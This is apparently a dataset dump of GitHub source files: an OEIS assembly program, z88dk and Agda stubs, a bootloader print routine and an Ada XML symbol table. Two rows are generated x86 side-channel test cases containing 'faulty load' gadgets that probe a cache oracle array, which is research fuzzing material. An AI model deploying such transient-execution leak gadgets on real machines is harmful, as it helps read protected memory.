max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
programs/oeis/049/A049068.asm | neoneye/loda | 22 | 92401 | ; A049068: Complement of quarter-squares (A002620).
; 3,5,7,8,10,11,13,14,15,17,18,19,21,22,23,24,26,27,28,29,31,32,33,34,35,37,38,39,40,41,43,44,45,46,47,48,50,51,52,53,54,55,57,58,59,60,61,62,63,65,66,67,68,69,70,71,73,74,75,76,77,78,79,80,82,83,84,85,86,87,88,89,91,92,93,94,95,96,97,98,99,101,102,103,104,105,106,107,108,109,111,112,113,114,115,116,117,118,119,120
mov $1,$0
seq $0,55086 ; n appears 1+[n/2] times.
add $0,$1
add $0,3
|
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/esx_m_getdrv.asm | Toysoft/z88dk | 0 | 12442 | <gh_stars>0
; unsigned char esx_m_getdrv(void)
SECTION code_esxdos
PUBLIC esx_m_getdrv
EXTERN asm_esx_m_getdrv
defc esx_m_getdrv = asm_esx_m_getdrv
|
test/asset/agda-stdlib-1.0/Data/Vec/All/Properties.agda | omega12345/agda-mode | 0 | 2132 | ------------------------------------------------------------------------
-- The Agda standard library
--
-- This module is DEPRECATED. Please use
-- Data.Vec.Relation.Unary.All.Properties directly.
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.Vec.All.Properties where
open import Data.Vec.Relation.Unary.All.Properties public
|
boot/print_32.asm | PhylumChordata/guess-the-number | 3 | 160574 | <gh_stars>1-10
[bits 32] ; using 32-bit protected mode
VIDEO_MEMORY equ 0xb8000
WHITE_OB_BLACK equ 0x0f ; color bytes
print_string_pm:
pusha
mov edx, VIDEO_MEMORY
print_string_pm_loop:
mov al, [ebx] ; address of char
mov ah, WHITE_OB_BLACK
cmp al, 0 ; check if end of string
je print_string_pm_done
mov [edx], ax ; store in vid mem
add ebx, 1 ; next char
add edx, 2 ; next video mem position
jmp print_string_pm_loop
print_string_pm_done:
popa
ret
|
source/xml/sax/matreshka-internals-xml-symbol_tables.adb | svn2github/matreshka | 24 | 6700 | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- XML Processor --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2010-2017, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- This package provides symbol table to store frequently used strings,
-- allocate identifier for them and reduce number of memory allocations by
-- reusing shared strings.
------------------------------------------------------------------------------
with Ada.Unchecked_Deallocation;
with League.Strings.Internals;
with Matreshka.Internals.Strings.Operations;
with Matreshka.Internals.Unicode.Characters.Latin;
package body Matreshka.Internals.XML.Symbol_Tables is
use Matreshka.Internals.Unicode.Characters.Latin;
procedure Free is
new Ada.Unchecked_Deallocation
(Symbol_Record_Array, Symbol_Record_Array_Access);
function Is_Valid_NS_Name_Start_Character
(Code : Matreshka.Internals.Unicode.Code_Point) return Boolean;
-- Returns True when code point belongs to NSNameStartChar.
-------------
-- Element --
-------------
function Element
(Self : Symbol_Table;
Identifier : Symbol_Identifier) return Element_Identifier is
begin
return Self.Table (Identifier).Element;
end Element;
--------------
-- Finalize --
--------------
procedure Finalize (Self : in out Symbol_Table) is
begin
for J in Self.Table'First .. Self.Last loop
Matreshka.Internals.Strings.Dereference (Self.Table (J).String);
end loop;
Free (Self.Table);
end Finalize;
--------------------
-- General_Entity --
--------------------
function General_Entity
(Self : Symbol_Table;
Identifier : Symbol_Identifier) return Entity_Identifier is
begin
return Self.Table (Identifier).General_Entity;
end General_Entity;
----------------
-- Initialize --
----------------
procedure Initialize (Self : in out Symbol_Table) is
procedure Register_Predefined_Entity
(Name : League.Strings.Universal_String;
Entity : Entity_Identifier);
-- Registers predefined entity.
procedure Register_Symbol (Name : League.Strings.Universal_String);
--------------------------------
-- Register_Predefined_Entity --
--------------------------------
procedure Register_Predefined_Entity
(Name : League.Strings.Universal_String;
Entity : Entity_Identifier)
is
N : constant Matreshka.Internals.Strings.Shared_String_Access
:= League.Strings.Internals.Internal (Name);
begin
Matreshka.Internals.Strings.Reference (N);
Self.Last := Self.Last + 1;
Self.Table (Self.Last) :=
(String => N,
Namespace_Processed => False,
Prefix_Name => No_Symbol,
Local_Name => No_Symbol,
Element => No_Element,
Notation => No_Notation,
Parameter_Entity => No_Entity,
General_Entity => Entity);
end Register_Predefined_Entity;
---------------------
-- Register_Symbol --
---------------------
procedure Register_Symbol (Name : League.Strings.Universal_String) is
N : constant Matreshka.Internals.Strings.Shared_String_Access
:= League.Strings.Internals.Internal (Name);
begin
Matreshka.Internals.Strings.Reference (N);
Self.Last := Self.Last + 1;
Self.Table (Self.Last) :=
(String => N,
Namespace_Processed => False,
Prefix_Name => No_Symbol,
Local_Name => No_Symbol,
Element => No_Element,
Notation => No_Notation,
Parameter_Entity => No_Entity,
General_Entity => No_Entity);
end Register_Symbol;
begin
Self.Table := new Symbol_Record_Array (0 .. 31);
Self.Table (No_Symbol) :=
(String => Matreshka.Internals.Strings.Shared_Empty'Access,
Namespace_Processed => True,
Prefix_Name => No_Symbol,
Local_Name => No_Symbol,
Element => No_Element,
Notation => No_Notation,
Parameter_Entity => No_Entity,
General_Entity => No_Entity);
Self.Last := No_Symbol;
-- Register predefined entities.
Register_Predefined_Entity
(Name => League.Strings.To_Universal_String ("lt"),
Entity => Entity_lt);
Register_Predefined_Entity
(Name => League.Strings.To_Universal_String ("gt"),
Entity => Entity_gt);
Register_Predefined_Entity
(Name => League.Strings.To_Universal_String ("amp"),
Entity => Entity_amp);
Register_Predefined_Entity
(Name => League.Strings.To_Universal_String ("apos"),
Entity => Entity_apos);
Register_Predefined_Entity
(Name => League.Strings.To_Universal_String ("quot"),
Entity => Entity_quot);
-- Register attribute type's names.
Register_Symbol (League.Strings.To_Universal_String ("CDATA"));
Register_Symbol (League.Strings.To_Universal_String ("ID"));
Register_Symbol (League.Strings.To_Universal_String ("IDREF"));
Register_Symbol (League.Strings.To_Universal_String ("IDREFS"));
Register_Symbol (League.Strings.To_Universal_String ("NMTOKEN"));
Register_Symbol (League.Strings.To_Universal_String ("NMTOKENS"));
Register_Symbol (League.Strings.To_Universal_String ("ENTITY"));
Register_Symbol (League.Strings.To_Universal_String ("ENTITIES"));
Register_Symbol (League.Strings.To_Universal_String ("NOTATION"));
-- Register well known names and namespaces.
Register_Symbol (League.Strings.To_Universal_String ("xml"));
Register_Symbol (League.Strings.To_Universal_String ("xmlns"));
Register_Symbol
(League.Strings.To_Universal_String
("http://www.w3.org/XML/1998/namespace"));
Register_Symbol
(League.Strings.To_Universal_String ("http://www.w3.org/2000/xmlns/"));
Register_Symbol (League.Strings.To_Universal_String ("xml:base"));
end Initialize;
------------
-- Insert --
------------
procedure Insert
(Self : in out Symbol_Table;
String : not null Matreshka.Internals.Strings.Shared_String_Access;
First : Matreshka.Internals.Utf16.Utf16_String_Index;
Size : Matreshka.Internals.Utf16.Utf16_String_Index;
Length : Natural;
Namespaces : Boolean;
Qname_Error : out Qualified_Name_Errors;
Identifier : out Symbol_Identifier)
is
use Matreshka.Internals.Unicode;
use Matreshka.Internals.Utf16;
D_Position : Utf16_String_Index;
D_Index : Natural;
C : Code_Point;
C_Position : Utf16_String_Index;
C_Index : Natural;
Found : Boolean := False;
N_Position : Utf16_String_Index;
T_Position : Utf16_String_Index;
Prefix_Name : Symbol_Identifier;
Local_Name : Symbol_Identifier;
begin
for J in Self.Table'First .. Self.Last loop
if Self.Table (J).String.Unused = Size then
N_Position := First;
T_Position := 0;
while N_Position < First + Size loop
exit when
String.Value (N_Position)
/= Self.Table (J).String.Value (T_Position);
N_Position := N_Position + 1;
T_Position := T_Position + 1;
end loop;
if N_Position = First + Size then
Identifier := J;
Found := True;
exit;
end if;
end if;
end loop;
if not Found then
Self.Last := Self.Last + 1;
Identifier := Self.Last;
if Self.Last > Self.Table'Last then
declare
Old : Symbol_Record_Array_Access := Self.Table;
begin
Self.Table := new Symbol_Record_Array (0 .. Old'Last + 32);
Self.Table (Old'Range) := Old.all;
Free (Old);
end;
end if;
Self.Table (Identifier) :=
(String =>
Matreshka.Internals.Strings.Operations.Slice
(String, First, Size, Length),
Namespace_Processed => False,
Prefix_Name => No_Symbol,
Local_Name => No_Symbol,
Element => No_Element,
Notation => No_Notation,
Parameter_Entity => No_Entity,
General_Entity => No_Entity);
end if;
if Namespaces
and then not Self.Table (Identifier).Namespace_Processed
then
D_Position := First;
D_Index := 1;
Found := False;
while D_Position < First + Size loop
Unchecked_Next (String.Value, D_Position, C);
D_Index := D_Index + 1;
if C = Colon then
if Found then
-- Second colon found in qualified name, document is not
-- wellformed.
Identifier := No_Symbol;
Qname_Error := Multiple_Colons;
return;
else
-- Colon occupy one code unit, use this fact instead of
-- more expensive Unchecked_Previous.
C_Position := D_Position - 1;
C_Index := D_Index - 1;
Found := True;
end if;
end if;
end loop;
if Found then
if C_Position = First then
-- Colon is the first character in the qualified name,
-- document is not wellformed.
Identifier := No_Symbol;
Qname_Error := Colon_At_Start;
return;
elsif C_Position = First + Size - 1 then
-- Colon is the last character in the qualified name,
-- document is not wellformed.
Identifier := No_Symbol;
Qname_Error := Colon_At_End;
return;
end if;
-- Check whether the first character after colon belongs to
-- NSNameStartChar.
D_Position := C_Position + 1;
Unchecked_Next (String.Value, D_Position, C);
if not Is_Valid_NS_Name_Start_Character (C) then
Identifier := No_Symbol;
Qname_Error := First_Character_Is_Not_NS_Name_Start_Char;
return;
end if;
Insert
(Self,
String,
First,
C_Position - First,
C_Index - 1,
False,
Qname_Error,
Prefix_Name);
Insert
(Self,
String,
C_Position + 1,
First + Size - C_Position - 1,
Length - C_Index,
False,
Qname_Error,
Local_Name);
Self.Table (Identifier).Prefix_Name := Prefix_Name;
Self.Table (Identifier).Local_Name := Local_Name;
else
Self.Table (Identifier).Local_Name := Identifier;
end if;
Self.Table (Identifier).Namespace_Processed := True;
end if;
Qname_Error := Valid;
end Insert;
------------
-- Insert --
------------
procedure Insert
(Self : in out Symbol_Table;
String : not null Matreshka.Internals.Strings.Shared_String_Access;
Identifier : out Symbol_Identifier)
is
Error : Qualified_Name_Errors;
begin
Insert
(Self,
String,
0,
String.Unused,
String.Length,
False,
Error,
Identifier);
end Insert;
--------------------------------------
-- Is_Valid_NS_Name_Start_Character --
--------------------------------------
function Is_Valid_NS_Name_Start_Character
(Code : Matreshka.Internals.Unicode.Code_Point) return Boolean
is
use type Matreshka.Internals.Unicode.Code_Point;
begin
return
Code in 16#0041# .. 16#005A# -- A-Z
or Code = 16#005F# -- _
or Code in 16#0061# .. 16#007A# -- a-z
or Code in 16#00C0# .. 16#00D6# -- \u00C0-\u00D6
or Code in 16#00D8# .. 16#00F6# -- \u00D8-\u00F6
or Code in 16#00F8# .. 16#02FF# -- \u00F8-\u02FF
or Code in 16#0370# .. 16#037D# -- \u0370-\u037D
or Code in 16#037F# .. 16#1FFF# -- \u037F-\u1FFF
or Code in 16#200C# .. 16#200D# -- \u200C-\u200D
or Code in 16#2070# .. 16#218F# -- \u2070-\u218F
or Code in 16#2C00# .. 16#2FEF# -- \u2C00-\u2FEF
or Code in 16#3001# .. 16#D7FF# -- \u3001-\uD7FF
or Code in 16#F900# .. 16#FDCF# -- \uF900-\uFDCF
or Code in 16#FDF0# .. 16#FFFD# -- \uFDF0-\uFFFD
or Code in 16#10000# .. 16#EFFFF#; -- \u10000-\uEFFFF
end Is_Valid_NS_Name_Start_Character;
----------------
-- Local_Name --
----------------
function Local_Name
(Self : Symbol_Table;
Identifier : Symbol_Identifier) return Symbol_Identifier is
begin
return Self.Table (Identifier).Local_Name;
end Local_Name;
----------------
-- Local_Name --
----------------
function Local_Name
(Self : Symbol_Table;
Identifier : Symbol_Identifier)
return not null Matreshka.Internals.Strings.Shared_String_Access is
begin
return Self.Table (Self.Table (Identifier).Local_Name).String;
end Local_Name;
----------
-- Name --
----------
function Name
(Self : Symbol_Table;
Identifier : Symbol_Identifier)
return not null Matreshka.Internals.Strings.Shared_String_Access is
begin
return Self.Table (Identifier).String;
end Name;
----------
-- Name --
----------
function Name
(Self : Symbol_Table;
Identifier : Symbol_Identifier) return League.Strings.Universal_String is
begin
return League.Strings.Internals.Create (Self.Table (Identifier).String);
end Name;
--------------
-- Notation --
--------------
function Notation
(Self : Symbol_Table;
Identifier : Symbol_Identifier) return Notation_Identifier is
begin
return Self.Table (Identifier).Notation;
end Notation;
----------------------
-- Parameter_Entity --
----------------------
function Parameter_Entity
(Self : Symbol_Table;
Identifier : Symbol_Identifier) return Entity_Identifier is
begin
return Self.Table (Identifier).Parameter_Entity;
end Parameter_Entity;
-----------------
-- Prefix_Name --
-----------------
function Prefix_Name
(Self : Symbol_Table;
Identifier : Symbol_Identifier) return Symbol_Identifier is
begin
return Self.Table (Identifier).Prefix_Name;
end Prefix_Name;
-----------
-- Reset --
-----------
procedure Reset (Self : in out Symbol_Table) is
begin
Finalize (Self);
Initialize (Self);
end Reset;
-----------------
-- Set_Element --
-----------------
procedure Set_Element
(Self : in out Symbol_Table;
Identifier : Symbol_Identifier;
Element : Element_Identifier) is
begin
Self.Table (Identifier).Element := Element;
end Set_Element;
------------------------
-- Set_General_Entity --
------------------------
procedure Set_General_Entity
(Self : in out Symbol_Table;
Identifier : Symbol_Identifier;
Entity : Entity_Identifier) is
begin
Self.Table (Identifier).General_Entity := Entity;
end Set_General_Entity;
------------------
-- Set_Notation --
------------------
procedure Set_Notation
(Self : in out Symbol_Table;
Identifier : Symbol_Identifier;
Notation : Notation_Identifier) is
begin
Self.Table (Identifier).Notation := Notation;
end Set_Notation;
--------------------------
-- Set_Parameter_Entity --
--------------------------
procedure Set_Parameter_Entity
(Self : in out Symbol_Table;
Identifier : Symbol_Identifier;
Entity : Entity_Identifier) is
begin
Self.Table (Identifier).Parameter_Entity := Entity;
end Set_Parameter_Entity;
end Matreshka.Internals.XML.Symbol_Tables;
|
Transynther/x86/_processed/NONE/_ht_st_zr_un_xt_/i7-7700_9_0x48.log_21829_1007.asm | ljhsiun2/medusa | 9 | 4480 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0xa59, %rsi
lea addresses_D_ht+0x8519, %rdi
nop
nop
nop
nop
add $15115, %r10
mov $20, %rcx
rep movsl
add $28646, %rcx
lea addresses_WC_ht+0x13bf1, %rsi
lea addresses_A_ht+0x12a19, %rdi
nop
nop
nop
nop
xor $47529, %r14
mov $27, %rcx
rep movsw
cmp %r10, %r10
lea addresses_A_ht+0x13819, %rsi
nop
nop
nop
sub %rdx, %rdx
movw $0x6162, (%rsi)
nop
nop
and $40393, %rcx
lea addresses_WC_ht+0xc119, %r14
nop
nop
sub %r12, %r12
mov (%r14), %ecx
nop
nop
nop
xor %rdi, %rdi
lea addresses_D_ht+0x11119, %r10
mfence
movups (%r10), %xmm6
vpextrq $0, %xmm6, %rsi
nop
nop
add $33760, %r12
lea addresses_UC_ht+0x9771, %rsi
lea addresses_WT_ht+0x719, %rdi
nop
nop
sub $20935, %r12
mov $93, %rcx
rep movsw
nop
nop
cmp %r10, %r10
lea addresses_A_ht+0x73e9, %rsi
lea addresses_UC_ht+0x1ad19, %rdi
clflush (%rdi)
nop
nop
nop
nop
and %r12, %r12
mov $112, %rcx
rep movsq
nop
nop
nop
nop
nop
sub %r12, %r12
lea addresses_UC_ht+0x10519, %r12
clflush (%r12)
nop
nop
nop
nop
sub $50167, %rdx
mov (%r12), %r10
nop
sub $65485, %rdi
lea addresses_UC_ht+0x3919, %r10
add $33678, %r14
movups (%r10), %xmm7
vpextrq $0, %xmm7, %rcx
nop
cmp %r10, %r10
lea addresses_D_ht+0x1a2c5, %rsi
lea addresses_WC_ht+0x16b19, %rdi
nop
nop
nop
nop
cmp %r10, %r10
mov $103, %rcx
rep movsl
cmp %rcx, %rcx
lea addresses_D_ht+0x6099, %rdi
nop
nop
xor %rsi, %rsi
movb $0x61, (%rdi)
nop
dec %rdx
lea addresses_WC_ht+0x165f9, %rdx
nop
nop
nop
add %r14, %r14
mov (%rdx), %rdi
dec %rdi
lea addresses_WC_ht+0x17519, %rsi
lea addresses_D_ht+0x18301, %rdi
nop
nop
nop
nop
add $58921, %rbp
mov $17, %rcx
rep movsl
nop
nop
sub %rsi, %rsi
lea addresses_A_ht+0x1c119, %r14
nop
add $60246, %rsi
mov $0x6162636465666768, %r12
movq %r12, (%r14)
nop
nop
xor %rdx, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r9
push %rax
push %rbx
push %rdx
// Store
lea addresses_RW+0x6519, %r10
nop
nop
nop
dec %rdx
movw $0x5152, (%r10)
nop
nop
nop
nop
nop
inc %rbx
// Faulty Load
lea addresses_WT+0xb519, %rbx
nop
and %rax, %rax
vmovups (%rbx), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %r12
lea oracles, %r13
and $0xff, %r12
shlq $12, %r12
mov (%r13,%r12,1), %r12
pop %rdx
pop %rbx
pop %rax
pop %r9
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 5, 'size': 2, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 8, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 4, 'size': 8, 'same': True, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}}
{'2a': 2, '4c': 14, 'ee': 4, 'ed': 2, '4e': 4, 'c8': 2, '03': 3, '3a': 5, '94': 1, 'e2': 1, '1a': 3, '4b': 9, '52': 2, '72': 7, '3b': 2, '00': 9304, 'dc': 1, '38': 2, 'c6': 1, 'a6': 4, '18': 3, 'f8': 1, 'df': 1, 'c2': 3, '26': 1, '8a': 6, 'ea': 2, '16': 12, 'cc': 3, 'a8': 1, '58': 4, '46': 3879, 'e8': 2, 'b2': 2, 'f2': 1, '39': 1, '45': 8518, 'da': 3, '28': 1, 'e0': 12}
00 46 46 00 46 46 45 45 45 45 45 45 00 46 46 46 00 00 00 00 00 00 00 00 45 00 46 46 00 45 00 00 00 45 45 45 46 00 46 00 45 45 45 45 00 00 00 00 46 46 46 45 45 45 45 45 45 00 45 45 45 45 00 45 45 45 00 45 00 45 45 45 00 46 46 00 45 45 45 00 45 00 45 46 46 00 00 45 45 45 00 45 45 45 45 46 46 45 45 45 00 45 45 45 45 00 45 45 45 46 46 00 00 45 45 00 00 45 00 45 46 00 00 45 45 45 00 45 45 00 45 45 45 45 45 45 00 45 45 00 45 00 45 45 45 00 46 46 00 00 00 00 00 00 00 00 45 46 00 46 00 46 00 45 00 45 46 46 00 00 45 45 45 00 45 45 45 00 45 00 00 00 00 00 00 00 00 45 46 46 45 00 00 45 00 00 45 45 45 00 45 46 46 46 45 00 45 45 00 00 45 45 46 00 00 45 45 45 45 45 45 45 46 00 45 00 45 00 00 45 45 45 45 46 46 46 00 00 45 45 45 45 45 46 46 46 45 00 45 00 45 00 00 00 00 45 45 45 00 45 45 45 45 46 00 00 00 00 00 45 45 45 00 45 46 46 45 45 45 00 45 00 45 45 45 45 45 00 46 46 45 00 45 45 00 45 45 00 45 46 46 46 45 45 45 45 45 45 45 45 00 46 00 00 00 00 45 45 45 00 00 46 00 46 46 00 45 45 45 45 45 45 46 00 00 46 46 45 00 45 45 00 45 00 46 00 45 45 45 00 45 00 45 45 00 45 00 00 00 45 45 45 45 00 46 00 00 45 00 00 45 00 45 45 00 46 46 00 00 00 00 45 45 45 46 00 00 46 46 46 00 00 00 00 00 00 45 46 46 00 45 45 45 00 00 45 00 45 45 00 00 00 72 00 00 72 00 00 00 00 00 45 45 45 45 00 00 46 00 00 45 00 45 45 00 45 45 45 45 00 00 46 46 00 45 45 00 00 45 45 46 00 00 46 00 00 46 46 00 00 46 00 00 00 00 46 46 00 46 45 46 46 00 46 45 45 45 00 00 00 00 46 46 45 45 00 45 45 00 00 45 00 00 46 46 46 00 46 46 00 46 46 46 46 00 45 45 00 45 45 45 45 00 00 46 00 46 45 45 00 45 00 45 45 00 00 46 46 00 00 45 00 45 45 45 45 45 46 46 46 46 00 00 46 00 46 46 00 46 46 46 00 46 00 45 00 45 00 45 00 45 45 45 45 45 00 00 45 45 45 00 45 45 00 45 00 45 45 45 00 46 46 00 45 45 00 45 45 45 00 45 00 45 46 39 00 45 45 45 00 00 45 45 45 00 45 00 45 00 45 45 45 00 00 00 45 46 46 45 00 45 45 45 45 00 00 45 00 00 00 45 45 00 45 00 00 00 00 46 46 00 45 00 45 45 00 45 00 46 00 46 00 46 00 46 46 45 46 46 46 46 45 00 45 00 45 00 45 45 45 00 45 45 00 00 00 45 45 00 00 45 00 45 46 46 46 00 46 46 46 46 46 46 45 00 00 45 45 45 00 45 00 45 00 46 00 45 45 00 00 45 00 00 00 00 46 46 00 45 45 00 00 00 00 00 00 46 00 46 46 00 00 45 00 45 45 00 00 45 45 46 46 46 00 00 46 46 46 46 46 00 00 46 46 45 45 00 45 45 00 45 00 45 00 46 46 00 45 00 45 00 00 00 00 00 46 46 45 45 45 45 45 45 46 46 46 00 00 00 45 00 00 45 00 00 45 00 00 45 00 00 00 00 45 45 00 45 45 45 45 00 00 46 46 45 45 00 45 00 45 45 45 45 00 45 45 00 00 46 00 46 45 45 45 00 00 00 45 45 45 00 00 00 46 00 00 00 45 00 45 00 00 ed 00 00 ed 00 46 46 45 00 00 00 45 45 45 00 00 46 00 46 46 00 45 45 45 45 45 45 00 45 00 46 00 46 46 46 46 46 46 46 00 46 46 46 00 00 45 45 00 45 45 00 46 46 45 45 00 00 45 00 00 00 00 45 45 00 00 45 00 00 45 45 00 00 45 00 00 46 46 00 45 45 45 00 45 00 00 00 00 00 00 00 45 45 45 45 45 00 00 46 00 46 46 45 45 00 45 45 45 45 00 00 45 00 00 46 45 00 00 00 00 00 46 00 00 45 45 00 45 00 00 00 45 00 45 45 00 45 00 45 45 00 00 00 45 45 45 45 00
*/
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1708.asm | ljhsiun2/medusa | 9 | 177792 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x18158, %rsi
lea addresses_UC_ht+0x18624, %rdi
nop
nop
nop
sub $16420, %r10
mov $79, %rcx
rep movsq
nop
nop
nop
nop
nop
cmp $17692, %r15
lea addresses_A_ht+0x122ec, %rsi
lea addresses_A_ht+0xf2a8, %rdi
nop
nop
nop
nop
nop
and $30690, %rbx
mov $1, %rcx
rep movsw
nop
nop
nop
sub $17847, %rdi
lea addresses_WC_ht+0x1b64c, %rcx
sub $60204, %rdx
mov (%rcx), %si
nop
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_D_ht+0x1e00c, %rcx
nop
cmp $63418, %rbx
mov $0x6162636465666768, %r15
movq %r15, (%rcx)
sub $63200, %rsi
lea addresses_D_ht+0x13bcc, %rdi
nop
nop
and $60841, %r10
mov (%rdi), %r15
nop
add $4294, %r15
lea addresses_WT_ht+0x1524c, %rsi
lea addresses_WT_ht+0x191d4, %rdi
add %rax, %rax
mov $15, %rcx
rep movsb
dec %rcx
lea addresses_A_ht+0xd96c, %rsi
lea addresses_normal_ht+0xd82, %rdi
nop
xor %rdx, %rdx
mov $9, %rcx
rep movsq
nop
nop
add %r15, %r15
lea addresses_D_ht+0xe284, %rdx
nop
nop
nop
nop
add %rbx, %rbx
mov (%rdx), %ecx
nop
nop
nop
nop
xor %r10, %r10
lea addresses_A_ht+0x10d4c, %rdi
nop
nop
nop
inc %rcx
mov $0x6162636465666768, %rbx
movq %rbx, %xmm2
vmovups %ymm2, (%rdi)
nop
nop
nop
xor $22635, %r10
lea addresses_WC_ht+0x1b068, %rsi
lea addresses_D_ht+0xf0c4, %rdi
nop
nop
xor %rbx, %rbx
mov $121, %rcx
rep movsl
nop
nop
nop
cmp $38774, %r10
lea addresses_UC_ht+0x4ac, %rsi
lea addresses_D_ht+0x17b9e, %rdi
nop
nop
sub %rbx, %rbx
mov $62, %rcx
rep movsw
nop
nop
nop
nop
add $35196, %rbx
lea addresses_normal_ht+0x2f4c, %rbx
nop
nop
sub %rcx, %rcx
movl $0x61626364, (%rbx)
nop
and %rax, %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r15
push %rbx
push %rcx
// Faulty Load
lea addresses_D+0xca4c, %r11
nop
nop
nop
and %rcx, %rcx
movb (%r11), %bl
lea oracles, %r13
and $0xff, %rbx
shlq $12, %rbx
mov (%r13,%rbx,1), %rbx
pop %rcx
pop %rbx
pop %r15
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}}
